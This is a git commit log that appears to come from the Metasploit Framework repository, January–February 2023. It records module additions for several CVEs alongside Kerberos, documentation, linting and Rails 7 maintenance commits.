Jack Heysel 3c7cbf62e6 Updated default payload 2023-02-01 16:56:28 -05:00
jheysel-r7 6037936869 Update LICENSE 2023-02-01 16:54:04 -05:00
jheysel-r7 595f34fc6f Merge branch 'master' into mac_dirty_cow 2023-02-01 16:51:09 -05:00
Grant Willcox e9fef56186 Land #17481, Update HTTP options module 2023-02-01 15:49:27 -06:00
Jack Heysel 057f046186 Updated license file 2023-02-01 16:46:45 -05:00
h00die 4ba04df138 update http options 2023-02-01 15:12:39 -06:00
Ron Bowes cf172d22c8 Get rid of #String.hash in favour of UnixCrypt 2023-02-01 11:02:04 -08:00
Grant Willcox b5a83ffd0f Add in PULONG alias to PDWORD and update definitions 2023-02-01 12:36:22 -06:00
Ron Bowes 1094221468 Merge branch 'rapid7:master' into f5-createuser-privesc 2023-02-01 10:20:43 -08:00
Jeffrey Martin 8d31b63f7a update Pro version docs for 4.22.0 release 2023-02-01 12:19:59 -06:00
Ron Bowes 34d93e862c Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-02-01 10:16:03 -08:00
Ron Bowes e90b47fd17 Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-02-01 10:15:00 -08:00
Ron Bowes d89c193db2 Update modules/exploits/linux/local/f5_create_user.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-02-01 10:14:38 -08:00
Ron Bowes 638a1c519d Update documentation/modules/exploit/linux/local/f5_create_user.md
Better demo exploit

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-02-01 10:14:25 -08:00
Metasploit b922bb533b automatic module_metadata_base.json update 2023-02-01 11:15:51 -06:00
adfoster-r7 014bdddd1a Land #17564, Fixed AnyConnect IPC message format 2023-02-01 16:34:44 +00:00
adfoster-r7 a5990a5a7d Land #17578, modules/exploits/openbsd Add notes and use CheckCodes messages 2023-02-01 16:26:59 +00:00
Metasploit 5af2689a0e automatic module_metadata_base.json update 2023-02-01 10:16:55 -06:00
Jack Heysel a6f0a8abe3 Land #17301, module for cve-2022-1043, linux LPE
This module exploits a bug in io_uring leading to an additional put_cred
that can be exploited to hijack credentials of other processes.
2023-02-01 10:38:10 -05:00
Jack Heysel 690d22f759 Rapid7 compiled binary 2023-02-01 10:08:13 -05:00
Spencer McIntyre 994d41ac80 Update parts of the docs 2023-02-01 09:28:00 -05:00
adfoster-r7 5a1eb16018 Land #17574, Use the new NDR types in RubySMB v3.2.4 2023-02-01 12:02:47 +00:00
Metasploit 4a04a86675 automatic module_metadata_base.json update 2023-02-01 05:46:09 -06:00
bcoles 86a6611e98 modules/exploits/openbsd: Add notes and use CheckCodes messages 2023-02-01 22:26:44 +11:00
adfoster-r7 1ff1cd1779 Land #17577, modules/exploits/qnx Use AutoCheck, add Notes, resolve Rubocop violations 2023-02-01 11:20:49 +00:00
bcoles c9012ae222 modules/exploits/qnx: Use AutoCheck, add Notes, resolve Rubocop violations 2023-02-01 20:51:44 +11:00
h00die 2c72cc145a updates to module 2023-01-31 20:05:33 -05:00
Spencer McIntyre 84f798da32 Allow loading TGS tickets for other service names
Fixes #17571
2023-01-31 17:03:25 -05:00
h00die fa687d3614 argv instead of hardcoded payload path 2023-01-31 16:02:25 -05:00
h00die 5a374533af cve-2022-1043 2023-01-31 16:02:25 -05:00
h00die 8d58eb6279 cve-2022-1043 2023-01-31 16:02:25 -05:00
Metasploit 42542102e3 automatic module_metadata_base.json update 2023-01-31 13:59:14 -06:00
Jack Heysel 2306736383 Land #17300, the latest commit in PR 17300
I made a mistake and was not up to date with the latest commit
in the PR before I landed, this fixes that mistake.
2023-01-31 14:18:01 -05:00
Jack Heysel 022760d24a Land #17300, linux LPE cve-2022-22942 module
This PR adds a linux priv esc against VMWare virtual machines
 with kernel 4.14-rc1 - 5.17-rc1 due to a VMWare driver bug.
2023-01-31 14:07:55 -05:00
Jack Heysel e99407fe26 Updated pre_compiled binary 2023-01-31 13:37:45 -05:00
Jeffrey Martin 9c7665a017 add GSoC 2023 to navigation 2023-01-31 11:00:26 -06:00
Grant Willcox b866bf59c8 Land #17444, Fix parsing of module options with special characters 2023-01-31 10:42:16 -06:00
Grant Willcox 8805ed2b5a Last minute typo fixes 2023-01-31 10:41:47 -06:00
Jeffrey Martin 77dd6bd77e add initial 2023 GSoC ideas doc 2023-01-31 10:18:12 -06:00
Spencer McIntyre 0d9a282237 Use the new NDR types in RubySMB v3.2.4 2023-01-31 10:08:27 -05:00
Metasploit daa96f9fb7 automatic module_metadata_base.json update 2023-01-31 08:53:19 -06:00
adfoster-r7 56728fc7c2 Land #17573, modules/exploits/linux/ssh Resolve Rubocop violations 2023-01-31 14:12:03 +00:00
adfoster-r7 bbf17c167c Land #17511, add exploit for CVE-2022-44877 command injection in CentOS Control Web Panel 2023-01-31 14:05:19 +00:00
adfoster-r7 5076518fe4 Land #17559, add support for Ruby 3.2 2023-01-31 13:45:51 +00:00
cgranleese-r7 fb196cb378 Testing Ruby 3.2 against CI 2023-01-31 13:19:06 +00:00
bcoles 11cf391da8 modules/exploits/linux/ssh: Resolve Rubocop violations 2023-01-31 23:59:22 +11:00
adfoster-r7 7bb0eca931 Land #17545, use strings in YAML files 2023-01-30 22:52:19 +00:00
Metasploit 42004c07bc automatic module_metadata_base.json update 2023-01-30 16:43:35 -06:00
adfoster-r7 433099e539 Land #17563, modules/exploits/multi/local: Resolve Rubocop and msftidy_docs violations 2023-01-30 22:16:41 +00:00
Grant Willcox bfc5c563a1 Land #17570, Add new queries and attributes for ldap_query 2023-01-30 16:14:26 -06:00
Spencer McIntyre 902eaa2562 Add new queries and attributes for ldap_query 2023-01-30 16:24:23 -05:00
dwelch-r7 e3a9e5a163 Land #17565, Add Metasploit prompt color highlighting to docs 2023-01-30 13:05:08 +00:00
adfoster-r7 f3a372719c Land #17568, Plugins: Resolve Rubocop violations 2023-01-30 11:35:31 +00:00
Christophe De La Fuente f676568d89 Fix CVE 2023-01-30 12:18:08 +01:00
Christophe De La Fuente a5ba1245c2 Fix CVE 2023-01-30 12:15:14 +01:00
bcoles db90604333 plugins/bescure: Replace 'initheaders' Hash key with Hash in Net::HTTP::Post.new calls 2023-01-30 22:11:21 +11:00
bcoles 4ff475f180 plugins: Resolve rubocop violations 2023-01-30 13:07:16 +11:00
bcoles 7cf37f5fb7 plugins: rubocop -A plugins 2023-01-30 13:05:34 +11:00
bcoles dd20bcac77 plugins: rubocop -a plugins 2023-01-30 12:25:46 +11:00
h00die-gr3y a2f4a27614 updated module and added documentation 2023-01-29 10:06:14 +00:00
h00die-gr3y bf10b29a84 first drop module 2023-01-29 07:47:22 +00:00
adfoster-r7 c68ab9b77f Add Metasploit prompt color highlighting to docs 2023-01-28 22:43:33 +00:00
h00die 62d43a6e96 use exploit retry function 2023-01-28 07:44:53 -05:00
Duarte Silva a7ae3c9389 Fixed AnyConnect IPC message format:
- Made an error in the original research where the TLV had a type
  and a index, when it only has a type and a modifier that makes
  it into a TV (Type and Value, no Length).
- A TV has its value where the Length would be on a TLV.
- Also added a note on the endieness being correct/working because
  endieness has no impact in the message being used to exploit the
  vulnerability.
2023-01-28 09:08:51 +00:00
bcoles e11aaa8027 modules/exploits/multi/local: Resolve Rubocop and msftidy_docs violations 2023-01-28 15:02:24 +11:00
Metasploit 1b20db8900 automatic module_metadata_base.json update 2023-01-27 14:39:53 -06:00
Grant Willcox be85aa253d Fix input and output buffers for some mislabeled functions 2023-01-27 14:09:45 -06:00
Jack Heysel c3e73b9b11 Land #17557, Fix the logon_time in the MS14-068 2023-01-27 15:08:49 -05:00
Christophe De La Fuente 85d5b041aa Add minimum build number check 2023-01-27 18:03:19 +01:00
Grant Willcox 1782ae1ff2 Fix up links within Wiki site to make them relative links where possible 2023-01-27 10:09:02 -06:00
Grant Willcox 6043d0ffba Update all links from Wiki site to new docs site. 2023-01-27 09:58:53 -06:00
Grant Willcox 6111852df8 Land #17504, add 'favorite -l' and 'favorites' as aliases for show favorites 2023-01-27 09:37:06 -06:00
adfoster-r7 c681358f88 Land #17558, Fixes analyze command crashing with a winrm session opened 2023-01-27 15:35:40 +00:00
Spencer McIntyre 647cf1d402 Return Time from #extract_logon_time 2023-01-27 10:05:02 -05:00
Metasploit 8d4d48e005 automatic module_metadata_base.json update 2023-01-27 08:14:45 -06:00
dwelch-r7 4c54fffaed Land #17560, Present unsupported ul_types in a clearer way to the user 2023-01-27 13:50:55 +00:00
adfoster-r7 020e221c42 Present unsupported ul_types in a clearer way to the user 2023-01-27 13:40:33 +00:00
cgranleese-r7 1d8c9d3690 Fixes analyze command crashing with a winrm session opened 2023-01-27 10:45:05 +00:00
Spencer McIntyre f4976a0f9f Fix the logon_time in the MS14-068 exploit 2023-01-26 16:16:55 -05:00
Christophe De La Fuente e01239cf7b Add exploit module and documentation 2023-01-26 21:53:14 +01:00
Metasploit d80a18a00c Bump version of framework to 6.3.1 2023-01-26 13:40:05 -06:00
Jeffrey Martin dc6c1e333b Land #17553, Framework 6.3.0 2023-01-26 13:30:27 -06:00
Jeffrey Martin bdb0cadc4f Land #17291, Add support for rails 7 2023-01-26 11:50:29 -06:00
adfoster-r7 672fb9ce9f Land #17460, add support for feature kerberos authentication 2023-01-26 17:47:27 +00:00
Christophe De La Fuente ed2dd2fc0c Add randomization in the XML when possible & fix BadChars issue 2023-01-26 18:42:09 +01:00
adfoster-r7 ab60df7cda Land #17519, improve SMTP delivery error handling 2023-01-26 17:02:02 +00:00
dwelch-r7 4254276c26 Land #17531, Change kerberos option name namespacing convention to :: 2023-01-26 16:29:11 +00:00
Spencer McIntyre 1b34e5923f Land #17551, Fix issue on nil kerberos username
Fix force encoding issue on nil kerberos username
2023-01-26 11:23:05 -05:00
adfoster-r7 2d30909a2f Change option name namespacing convention 2023-01-26 16:17:50 +00:00
adfoster-r7 d90398d217 Land #17549, Catch Encryption Errors In inspect_ticket 2023-01-26 16:15:21 +00:00
cgranleese-r7 fb79a5f9d2 Land #17547, Remove KRB5CCNAME env var on bootup 2023-01-26 16:11:03 +00:00
Grant Willcox 87b9152314 Continue fixing versions of Ruby in YAML files not being properly quoted like they should be. 2023-01-26 09:49:08 -06:00
Spencer McIntyre fc0324f28b Consistently print keys without \x 2023-01-26 10:49:05 -05:00
adfoster-r7 a2aef99bb2 Fix force encoding issue on nil kerberos username 2023-01-26 15:25:49 +00:00
adfoster-r7 9e218116c0 Land #17543, update docs build to support relative links that start with ./ 2023-01-26 15:23:45 +00:00
Jeffrey Martin b295429fc9 latest metasploit-credential gem 2023-01-26 09:22:56 -06:00
Christophe De La Fuente 2be22752be Add Linuc specifics and documentation 2023-01-26 16:16:00 +01:00
Jeffrey Martin 7d221af4a0 Land #17546, deprecation warning for secrets dump 2023-01-26 08:28:22 -06:00
Spencer McIntyre 2da5d8ea43 Catch exceptions in inspect_ticket 2023-01-26 09:21:55 -05:00
adfoster-r7 992883b1a6 Remove KRB5CCNAME env on bootup 2023-01-26 12:09:55 +00:00
adfoster-r7 d5781ed021 Land #17532, Fix bad DN discovery code and fix bug with querying schema data 2023-01-26 10:43:13 +00:00
adfoster-r7 25ba3304ab Fix rails 7 deprecation warning for secrets dump module 2023-01-26 10:22:28 +00:00
dwelch-r7 2a73ac01e0 Land #17544, Fix ticket cache client metadata 2023-01-25 21:58:36 +00:00
Grant Willcox 71aa4bdace Update ldap_query with find_schema_dn function to find the schema DN which may not be the same as the base DN so we can query security attributes of entries 2023-01-25 15:19:29 -06:00
adfoster-r7 086e2f1b05 FIx ticket cache client metadata 2023-01-25 20:17:51 +00:00
Grant Willcox 3acae04042 Fix up relative path linking with paths that start with a / or ./ so they can now properly link without ambiguity cases. 2023-01-25 13:05:52 -06:00
Spencer McIntyre f81195d0cc Fix a typo 2023-01-25 13:45:18 -05:00
adfoster-r7 b9430da155 Land #17541, Fixes a crash when running smb_login with a blank domain 2023-01-25 18:42:32 +00:00
adfoster-r7 3d003ff14c Land #17540, Handle KDC_ERR_CERTIFICATE_MISMATCH for certifried 2023-01-25 18:39:20 +00:00
adfoster-r7 ea96629925 Bump Metasploit version to 6.3.0 2023-01-25 18:36:48 +00:00
Spencer McIntyre 427e354328 Land #17538, Fix smb login crash
Fix smb login crash with kerberos options set
2023-01-25 13:35:14 -05:00
dwelch-r7 e434b65d9d Land #17535, Add NTLM Hash Extraction via PKINIT to get_ticket 2023-01-25 18:34:18 +00:00
cgranleese-r7 cc0fbbc4e3 Fixes a bug were if realm was blank console would crash 2023-01-25 18:26:47 +00:00
Dean Welch 5b473e4ede Handle KDC_ERR_CERTIFICATE_MISMATCH for certifried 2023-01-25 18:22:54 +00:00
dwelch-r7 dc76f66649 Land #17539, Add additional kerberos error codes 2023-01-25 18:19:12 +00:00
adfoster-r7 eb59d08516 Add additional kerberos error codes 2023-01-25 18:08:07 +00:00
Spencer McIntyre 21f33296b7 Consolidate PKINIT hash extraction code 2023-01-25 12:16:42 -05:00
Spencer McIntyre dba1198a09 Fix a definition in krb5_pac.rb 2023-01-25 11:18:54 -05:00
dwelch-r7 4f574d141a Land #17533, Combine pkinit_login with get_ticket 2023-01-25 15:43:12 +00:00
Spencer McIntyre c7ba117fed Land #17534, Update kerberos cipher negotiattion
Update kerberos to negotiate rc4 if aes256 is disabled
2023-01-25 10:19:40 -05:00
Spencer McIntyre 44d8304beb Report the PKCS12 error message 2023-01-25 10:02:37 -05:00
adfoster-r7 d57c56e4a4 Land #17496, update klist to support deleting and deactivating by id 2023-01-25 14:53:05 +00:00
adfoster-r7 24a8582a7b Fix smb login crash with kerberos options set 2023-01-25 13:58:29 +00:00
Spencer McIntyre dbe9ee3a77 Update documentation 2023-01-25 08:39:52 -05:00
Spencer McIntyre a5e2c5b3b7 Unify pkinit_login with get_ticket 2023-01-25 08:36:26 -05:00
Spencer McIntyre 785e2caa9f Refactor #send_request_tgt_pkinit, clarify docs 2023-01-25 08:36:26 -05:00
Dean Welch c143124344 Add feature to set the status of ticket/ccache via klist 2023-01-25 13:28:43 +00:00
adfoster-r7 8d4b1ce3c1 Use the credential etype instead of the encrypted ticket etype 2023-01-25 13:20:50 +00:00
dwelch-r7 effbfe8f58 Land #17536, Update docs to support links with anchors 2023-01-25 12:43:37 +00:00
adfoster-r7 64339f9d4c Land #17537, improve rendered output of docs 2023-01-25 12:37:45 +00:00
adfoster-r7 4c50456b6a Update docs to support links with anchors 2023-01-25 12:16:15 +00:00
cgranleese-r7 930ae1a8c2 Makes adjustments to how docs are formatted to improve rendered output 2023-01-25 12:07:52 +00:00
adfoster-r7 d18beb486d Update kerberos to negotiate rc4 if aes256 is disabled 2023-01-25 00:27:00 +00:00
Spencer McIntyre 2b2e20bd78 Land #17399, Document ESC attack workflow in Wiki 2023-01-24 19:18:50 -05:00
Spencer McIntyre 944645f6d4 Land #17528, Add get user spns example docs
Add get user spns example to kerberoasting docs
2023-01-24 19:15:44 -05:00
Grant Willcox de27166dc9 Move location of the Attacking AD CS writeup and update navigation.rb accordingly 2023-01-24 16:57:14 -06:00
Grant Willcox 86f2af53c9 Remove extra section and try fix up the relative references for the document 2023-01-24 16:39:09 -06:00
Spencer McIntyre 8c1370085d Land #17530, Add conditions to forge_ticket module
Add conditions metadata to forge_ticket module
2023-01-24 09:12:41 -05:00
adfoster-r7 9babcf3564 Add conditions to forge ticket 2023-01-24 13:28:10 +00:00
adfoster-r7 e81bed0378 Land #17526, groups the show options command by their conditions 2023-01-24 13:21:17 +00:00
cgranleese-r7 854fc1400e Improve show options to include options with conditions 2023-01-24 10:43:14 +00:00
adfoster-r7 772ee93612 Add get user spns example to kerberoasting docs 2023-01-24 01:03:13 +00:00
Christophe De La Fuente 38f0d33d6b Add exploit module 2023-01-24 00:55:45 +01:00
Grant Willcox 4c4e6a5802 Fix up navigation issue again 2023-01-23 17:05:36 -06:00
Grant Willcox 05cc578fcd Correct navigation.rb 2023-01-23 14:34:41 -06:00
Grant Willcox 148e591a4e Add in overview about AD CS and what it is used for 2023-01-23 14:33:10 -06:00
Grant Willcox 3b357eed70 Move updated setup guide over to appropriate place and update some of the template with more details 2023-01-23 14:27:28 -06:00
Grant Willcox 5b2a7cc151 Update explanation to clarify ESC3 attacks and how to abuse them 2023-01-23 14:00:00 -06:00
Grant Willcox e73836d4c3 Rename files to appropriate names, fix up typos and add better setup points 2023-01-23 13:59:55 -06:00
Grant Willcox 43aca85d4d Add page on setting up an AD CS target to the navigation.rb file 2023-01-23 13:59:55 -06:00
Grant Willcox 71860a0ea8 Add in seperate page for setting up AD CS environment and also make explanation of ESC vulns clearer and higher up in document. 2023-01-23 13:59:54 -06:00
Grant Willcox 5df6d5d511 Fix navigation and some typos 2023-01-23 13:59:54 -06:00
Grant Willcox 1e8a289088 Add in initial commit of attacking ADCS ESC vulnerability documentation 2023-01-23 13:59:54 -06:00
Metasploit 8368accd55 automatic module_metadata_base.json update 2023-01-23 13:50:39 -06:00
space-r7 153af9fb68 Land #17407, add Cacti unauth command injection 2023-01-23 13:06:46 -06:00
Grant Willcox 5106d33ca4 Land #17518, Add the Python command adapter for Windows 2023-01-23 13:01:38 -06:00
bwatters d356b34422 Land #17499, Show extended error information for ICPR
Merge branch 'land-17499' into upstream-kerberos
2023-01-23 12:19:13 -06:00
space-r7 58cd5bb003 specify command stager flavors 2023-01-23 11:53:19 -06:00
Jeffrey Martin 90dc90cbab future proof legacy connection 2023-01-23 10:03:32 -06:00
Jeffrey Martin 58172267ac update to latest Rails 7 gem 2023-01-23 09:59:21 -06:00
Jeffrey Martin 6b64a15ab1 updated metasploit_data_models 2023-01-23 09:59:19 -06:00
Jeffrey Martin 1323889b65 update to released Rails 7 supported deps 2023-01-23 09:58:22 -06:00
Jeffrey Martin 5ce04e97e8 update Gemfile dev deps 2023-01-23 09:57:51 -06:00
Jeffrey Martin 149870d8a5 update Ruby version requirement 2023-01-23 09:57:16 -06:00
Jeffrey Martin f78592bf3f update db/schema.rb for Rails 7 2023-01-23 09:57:16 -06:00
Jeffrey Martin 177f1ec4d8 update that may need guards depending on execution 2023-01-23 09:57:15 -06:00
Jeffrey Martin d9716ebecf core updates for Rails 7 2023-01-23 09:57:09 -06:00
cgranleese-r7 bca40df16b Land #17524, Add additional documentation for mssql and ldap 2023-01-23 15:30:07 +00:00
Spencer McIntyre ed69cb19b2 Land #17520, Remove verbose info in LDAP output
Remove extra info from verbose mode of LDAP output
2023-01-23 09:30:36 -05:00
cgranleese-r7 af740aea85 Land #17515, Use shared helper for creating kerberos options 2023-01-23 13:37:00 +00:00
dwelch-r7 2f6e45af16 Land #17525, Fix deprecation warning in socks proxy 2023-01-23 12:55:04 +00:00
adfoster-r7 20408f4446 Fix deprecation warning in socks proxy 2023-01-23 12:05:57 +00:00
adfoster-r7 e119713c6f Add additional documentation for mssql and ldap 2023-01-23 11:46:51 +00:00
adfoster-r7 9a6c298a43 Use shared helper for creating kerberos options 2023-01-23 11:04:01 +00:00
adfoster-r7 414a54886c Land #17521, Fix up text so we capitalize all words of Metasploit Framework 2023-01-21 00:23:50 +00:00
Grant Willcox dcda0c2ebc Fix up text so we capitalize all words of Metasploit Framework 2023-01-20 17:05:20 -06:00
Grant Willcox 1975c92e92 Remove extra info from verbose mode of LDAP output 2023-01-20 16:51:34 -06:00
Spencer McIntyre 9d07f206fc Bump windows_error to 0.1.5 2023-01-20 16:29:24 -05:00
Spencer McIntyre 190249b993 Bump ruby_smb to 3.2.2 2023-01-20 16:29:24 -05:00
Spencer McIntyre a37cec40fc Show extended error information for ICPR 2023-01-20 16:29:18 -05:00
Grant Willcox cd5842e3f4 Land #17340, Warn On Ignoring Bind Information for Reverse Port Forwarding 2023-01-20 14:40:22 -06:00
Spencer McIntyre 81295e40fa Report the host that's returned from Meterpreter
Report the host that's returned from Meterpreter because that's the most
accurate source of the information.
2023-01-20 14:15:14 -06:00
Spencer McIntyre 729de2478c Warn that the remote host is ignored 2023-01-20 14:15:13 -06:00
Spencer McIntyre 17d8db43a9 Print IPv6 addresses correctly 2023-01-20 14:15:13 -06:00
Spencer McIntyre 7678e7c8ea Pass bind address for reverse port forwards 2023-01-20 14:15:13 -06:00
Spencer McIntyre 2621775053 Add the Python command adapter for Windows 2023-01-20 15:10:39 -05:00
Grant Willcox e537816132 Land #17516, Update metasploit-payloads gem to 2.0.108 2023-01-20 13:55:33 -06:00
Jeffrey Martin 9be26eb0ff improve SMTP delivery error handling 2023-01-20 11:26:25 -06:00
Spencer McIntyre 15237e5154 Update metasploit-payloads gem to 2.0.108
Includes changes from:
  * rapid7/metasploit-payloads#599
  * rapid7/metasploit-payloads#600
  * rapid7/metasploit-payloads#602
2023-01-20 09:21:28 -05:00
Spencer McIntyre 6fe0933c1e Add exploit for CVE-2022-44877 2023-01-20 09:04:24 -05:00
dwelch-r7 ebaf51108c Land #17490, Update impacket get user spns 2023-01-20 13:21:19 +00:00
Christophe De La Fuente 22f45c9a2e Land #17513, Update get ticket module to use aes_key and username convention 2023-01-20 12:44:23 +01:00
dwelch-r7 b2c20dfc51 Land #17514, Fix crash in winrm_script_exec when using Kerberos authentication 2023-01-20 11:21:24 +00:00
adfoster-r7 aaad9436f2 Fix winrm offered etypes 2023-01-20 10:59:25 +00:00
adfoster-r7 4c17b93ca8 Update get ticket module to use aes_key and username convention 2023-01-20 10:47:35 +00:00
Jack Heysel 6ac0d9ba27 Trailing whitespace corrected 2023-01-19 22:16:54 -05:00
h00die 633c58a0ff tomcat on rhel priv esc 2023-01-19 15:28:10 -05:00
Jack Heysel 0e0f62c002 Removed 22621 2023-01-19 14:47:20 -05:00
Jack Heysel 4da94325f3 Rubocop 2023-01-19 13:52:58 -05:00
Metasploit 3602a420d3 Bump version of framework to 6.2.37 2023-01-19 12:05:00 -06:00
Metasploit bca837413f automatic module_metadata_base.json update 2023-01-19 09:57:30 -06:00
Christophe De La Fuente 1e94adc3ab Land #17479, Wordpress paid membership pro unauthenticated sqli (CVE-2023-23488) 2023-01-19 15:36:00 +01:00
Jack Heysel d7215b84b4 Added offsets for W11 22H2 2023-01-19 09:30:28 -05:00
Spencer McIntyre 0e6ae486d1 Land #17501, Update AD CS spelling
Initial update of ADCS to be AD CS for appropriate spelling
2023-01-19 08:38:46 -05:00
ErikWynter 6419f2d5a5 add 'favorite -l' and 'favorites' as aliases for show favorites 2023-01-19 14:21:45 +02:00
Jack Heysel 63d9445911 Fix for Win Server 2022 and 2019 2023-01-19 00:52:38 -05:00
h00die 3a0b694790 better engrish 2023-01-18 20:12:49 -05:00
Grant Willcox 82fe7120d4 Update ADCS to be AD CS so we have appropriate spelling 2023-01-18 17:07:48 -06:00
bwatters b406699c86 Land #17497, Return if there is no certificate to process
Merge branch 'land-17497' into upstream-kerberos
2023-01-18 16:15:04 -06:00
h00die 642e6ee1cb review 2023-01-18 16:21:11 -05:00
h00die c823295915 cleanup better 2023-01-18 16:19:48 -05:00
npm-cesium137-io d0feedadbf Refine whatsupgold_credential_dump
Added CVE info to the References section.

Modified the registry routines to add sanity around x86 vs. x64 arch.
2023-01-18 15:47:26 -05:00
Spencer McIntyre 9bf7617409 Return if there is no certificate to process 2023-01-18 15:05:54 -05:00
Spencer McIntyre ebfcfd4cb9 Land #17066, Add module for Certifried
Add exploit module for Certifried exploit
2023-01-18 14:51:03 -05:00
npm-cesium137-io 8ed4f59c60 veeam_credential_dump refinement
Fixed stupid typo in markdown.

Fixed a bug in the export code that prevented the disposition column
from being exported.
2023-01-18 14:27:28 -05:00
Christophe De La Fuente 64ddc6bb4c Land #17484, Add additional kerberos documentation 2023-01-18 19:40:28 +01:00
Christophe De La Fuente 2072111713 Fix from code review & some improvments
- Improve option validation
- Always request an impersonated TGS for `cifs/...` SPN
- SPN option now is used to request an additional TGS for another SPN
- Add exception handling for Kerberos errors
- Only remove the computer account if it has been created
2023-01-18 19:28:06 +01:00
Grant Willcox 524ab66d2c Land #17482, Update min protocol for https server for openssl3 2023-01-18 11:01:32 -06:00
adfoster-r7 77b0fcb2f5 Update min protocol for https server for openssl3 2023-01-18 10:59:26 -06:00
bwatters ed0ede0cad Land #17472, Always autocomplete options regardless of condition filtering
Merge branch 'land-17472' into upstream-kerberos
2023-01-18 10:59:16 -06:00
adfoster-r7 c55fcb6ca6 Add additional kerberos documentation 2023-01-18 16:58:34 +00:00
dwelch-r7 067126af44 Land #17493, Add additional datastore validation to forge ticket 2023-01-18 12:33:12 +00:00
adfoster-r7 a28666d3c5 Add additional datastore validation to forge ticket 2023-01-18 10:46:32 +00:00
Jack Heysel 2c2bfec4a0 Tested on Windows Build 19044, 19045 and 22000 2023-01-18 01:41:30 -05:00
Grant Willcox c0ddead75f Land #17480, Add payload exploit command 2023-01-17 17:52:32 -06:00
Spencer McIntyre 365b71d60f Land #17471, Update get_ticket cache logic
Update kerberos get_ticket cache logic
2023-01-17 18:49:08 -05:00
Grant Willcox b8bea10296 Land #17491, Fix LDAP Failure References 2023-01-17 17:22:10 -06:00
Metasploit 69464b3df2 automatic module_metadata_base.json update 2023-01-17 17:17:21 -06:00
bwatters 607dd9f081 Land #17348, New exploit for CVE-2022-46770 Mirage firewall DoS
Merge branch 'land-17348' into upstream-master
2023-01-17 16:52:38 -06:00
adfoster-r7 235888b77e Land #17492, Remove CI crash example from Docs 2023-01-17 22:47:10 +00:00
bwatters 470972b91d Land #17385, Return success code for writing and appending file in command shells 2023-01-17 16:37:06 -06:00
Spencer McIntyre d810267f8d Pull in Dean's changes from #17443 to fix LDAP failure references. 2023-01-17 16:31:08 -06:00
h00die d0abb5697b re-add license stuff 2023-01-17 17:31:01 -05:00
bwatters 0dbb0dc8c9 Fix margins for readability and delete file 2023-01-17 17:28:27 -05:00
bwatters d1f878c4f0 Fix spelling 2023-01-17 17:28:27 -05:00
bwatters 158c557d58 Update LICENSE file and location of source file 2023-01-17 17:28:22 -05:00
Grant Willcox 43d4a3ca7e Remove CI crash example since its unneeded and extra overhead to maintain 2023-01-17 16:04:46 -06:00
h00die e28ff3b160 minor fixes 2023-01-17 15:30:36 -05:00
h00die be7ca91a8f cve-2022-22942 2023-01-17 15:30:36 -05:00
adfoster-r7 7f62fa33f3 Update impacket get user spns 2023-01-17 19:53:42 +00:00
Metasploit 5dee00be0c automatic module_metadata_base.json update 2023-01-17 13:33:02 -06:00
Grant Willcox 3b1380b164 Land #17449, Ivanti Cloud Services Appliance unauthenticated cookie-based command injection [CVE-2021-44529] 2023-01-17 13:08:12 -06:00
Grant Willcox 7e23c34e6c Apply fixes per code review 2023-01-17 12:44:22 -06:00
h00die-gr3y 541dab9365 simplified messaging 2023-01-17 12:44:20 -06:00
h00die-gr3y da3ae22135 added documentation 2023-01-17 12:44:20 -06:00
h00die-gr3y 77687bff3f init module 2023-01-17 12:44:20 -06:00
adfoster-r7 d8cf034d70 Land #17488, Remove references to Travis CI 2023-01-17 17:20:44 +00:00
Grant Willcox aceb4c57c6 Remove references to Travis CI since we no longer use it and now use GitHub Actions 2023-01-17 10:28:21 -06:00
Metasploit c429113f5e automatic module_metadata_base.json update 2023-01-17 08:23:26 -06:00
Spencer McIntyre a10e313e26 Land #17343, unquoted service path tweaks 2023-01-17 08:59:37 -05:00
adfoster-r7 5ed2fe9ad2 Update kerberos get_ticket cache logic 2023-01-17 00:32:18 +00:00
Hamilton Tobon Mosquera d01060f40f docs: how to set complex options using quotes 2023-01-16 17:38:20 -05:00
Metasploit da22f18256 automatic module_metadata_base.json update 2023-01-16 14:17:56 -06:00
Christophe De La Fuente 0c8e83c34e Land #17451, Crack netntlm* 2023-01-16 20:52:53 +01:00
cgranleese-r7 202eb85066 Land #17470, Update kerberos login to support diacritics 2023-01-16 12:22:44 +00:00
adfoster-r7 5ef1f9f4f4 Update kerberos login to support diacritics 2023-01-16 12:08:54 +00:00
cgranleese-r7 7a2f6fef86 Land #17477, Merge 6.2.36 master into kerberos feature branch 2023-01-16 11:53:21 +00:00
adfoster-r7 b4797ba74f Land #17422, Add kerberoasting documentation 2023-01-16 10:30:20 +00:00
adfoster-r7 f637885f0a Land #17468, Fix error when printing ticket contents from a kirbi file format 2023-01-16 10:07:36 +00:00
adfoster-r7 5b3db9abc0 Update min protocol for https server for openssl3 2023-01-15 14:08:26 +00:00
h00die a28b203f73 payload exploit command 2023-01-15 05:38:15 -05:00
h00die 1888264d4d wordpress paid membership pro 2023-01-14 08:34:10 -05:00
h00die 0ac4d3d2e6 doc how to set permissions on service 2023-01-13 17:07:17 -05:00
Spencer McIntyre 3ddcf73c2b Remove the QUICK option altogether
Use blocks to check whether each service is exploitable as they are
enumerated. With this change, it is the service and path enumeration
halts once an exploitable one is found that yields a session.

Also all files are registered for cleanup.
2023-01-13 17:06:42 -05:00
h00die f98d1d838b unquoted service path tweaks to check 2023-01-13 17:06:42 -05:00
h00die 90a12cf3b0 unquoted service path tweaks 2023-01-13 17:06:42 -05:00
h00die a6ec7762ea unquoted service path tweaks 2023-01-13 17:06:42 -05:00
h00die c52eb09cbb unquoted service path tweaks 2023-01-13 17:06:42 -05:00
Dean Welch 1470396f95 Refactor key validation for inspect_ticket and add module tests 2023-01-13 17:42:32 +00:00
adfoster-r7 eddac9321c Merge 6.2.36 master into kerberos feature branch 2023-01-13 17:31:02 +00:00
cgranleese-r7 25550a4ef0 Land #17475, Enable new datastore implementation by default 2023-01-13 16:40:58 +00:00
cgranleese-r7 436e1489c7 Land #17473, Add edit link to docs website 2023-01-13 16:38:07 +00:00
Christophe De La Fuente 3d22fbcad9 Add exploit module for Certifried exploit
- Move all the logic from `modules/auxiliary/admin/dcerpc/icpr_cert.rb`
  to `lib/msf/core/exploit/remote/ms_icpr.rb` library
